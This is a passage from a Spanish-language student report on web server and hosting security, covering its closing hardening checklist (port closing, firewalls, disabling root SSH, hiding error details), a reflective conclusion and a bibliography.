(Ejemplo: MySQL).

Cerrar todos los puertos del servidor que no sean estrictamente necesarios:
normalmente para un servidor Web se requiere el puerto 80, el puerto de correo a utilizar (solo de
requerirse un servicio de correo) y algún puerto para conexión remota al servidor como el 22 para ssh,
el cual se recomienda cambiar.

Instalar un firewall: si se usa linux iptables está perfecto, si se usa windows la versión gratuita de
Zone Alarm es una buena alternativa

No instalar los siguientes servicios en los servidores Web:


Finger
SNMP

Si se desea instalar un FTP, en su lugar usar SFTP.

Mantener constantemente actualizado el software instalado (Incluido el Sistema


Operativo): de esta forma se tienen siempre las versiones de las aplicaciones que tienen corregidos
fallos de seguridad.

No permitir en los accesos SSH el ingreso del usuario Root: solo se podrá acceder a
él mediante algún usuario previamente autenticado ejecutando las instrucciones "su" o "sudo -s".

Página 27 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Usar siempre contraseñas seguras: con más de 10 caracteres que incluyan letras
mayúsculas, letras
minúsculas, símbolos y números.

No crear archivos PHPINFO públicos, ni instalar phpmyadmin en servidores.


Si se usa Tomcat, borrar los archivos de administración por defecto.

Crear páginas de error genérico que no entreguen información sobre el servidor de


aplicaciones.

Ocultar los errores y excepciones de las aplicaciones para los diferentes lenguajes de
programación usados, en su lugar enviarlos siempre a los archivos de Log.

No dejar público contenido que no sea estrictamente necesario, por ejemplo dejar
respaldos de sitios, dump de bases de datos, archivos con información sensible u otros.

Página 28 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Conclusiones

El mundo va evolucionando. Todos quieren ser algo más. Haciendo una breve analogía, aumentan en
Chile los hijos que estudian carreras universitarias dentro de los quintiles más pobres, o donde son
ellos el primer profesional de la familia.

Los sistemas informáticos son, en parte, parecidos. No se quedan atrás. Avanzan constantemente.
Debido a esto, no es sorpresa que algunos sistemas vayan quedando obsoletos, o con el pasar de los
días nos encontremos con noticias de algún gran avance tecnológico.

Pero así como lo bueno evoluciona: lo malo avanza de igual forma.

Siendo una suerte de Ying-Yang de la informática, las nuevas formas de ataques, los virus, y todo lo
que constituya la explotación de las vulnerabilidades, van corriendo una carrera a brazo partido con
las formas de evitar, contrarrestar y / o prevenirles, que van surgiendo.

Y esto es lo que hace interesante lo anteriormente planteado.

En uno de los “diarios murales” del instituto ITC, hay una cita a Bill Gates, en la que afirma que los
virus son “formas de vida”. Formas de vida que han mantenido en vela a más de un informático, por
cierto, pero que son necesarias para este proceso constante de evolución.

Volviendo al primer párrafo de esta conclusión: debido a que todo va evolucionando, con el pasar del
tiempo, cualquier sistema se convertirá en vulnerable. Ergo, debemos estar a la sombra de todo lo
que pueda vulnerar nuestros servidores o nuestras páginas, para hacerle frente. Sobre todo, si
queremos ser informáticos, por cierto.

Y en caso de que seamos quienes contratamos un servicio de hosting, siempre será recomendable
tener un buen servicio, y de esta forma acortar el rango de posibilidades de tener problemas con el
negocio que sostenemos vía Internet, por ejemplo.

No en vano, dicen que Juan Segura vivió muchos años.

Son las humildes palabras de los integrantes del grupo que hizo el presente trabajo.

Página 29 de 30
Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting

Bibliografía:

Wikipedia http://www.wikipedia.org/es

Ordenadores y portátiles http://www.ordenadores-y-portatiles.com/

Proyecto Teleducación http://www.sipan.inictel.gob.pe/users

InternetLab http://www.internetlab.es

Masadelante.com http://www.masadelante.com

Topbits.com http://www.topbits.com

Gobierno de Chile www.gobiernodechile.cl

Centro de Informática y Telecomunicaciones de la Fuerza Aérea de Chile www.fach.cl

Escuela de Telecomunicaciones del Ejército de Chile www.esctel.cl/

Página 30 de 30

S-ar putea să vă placă și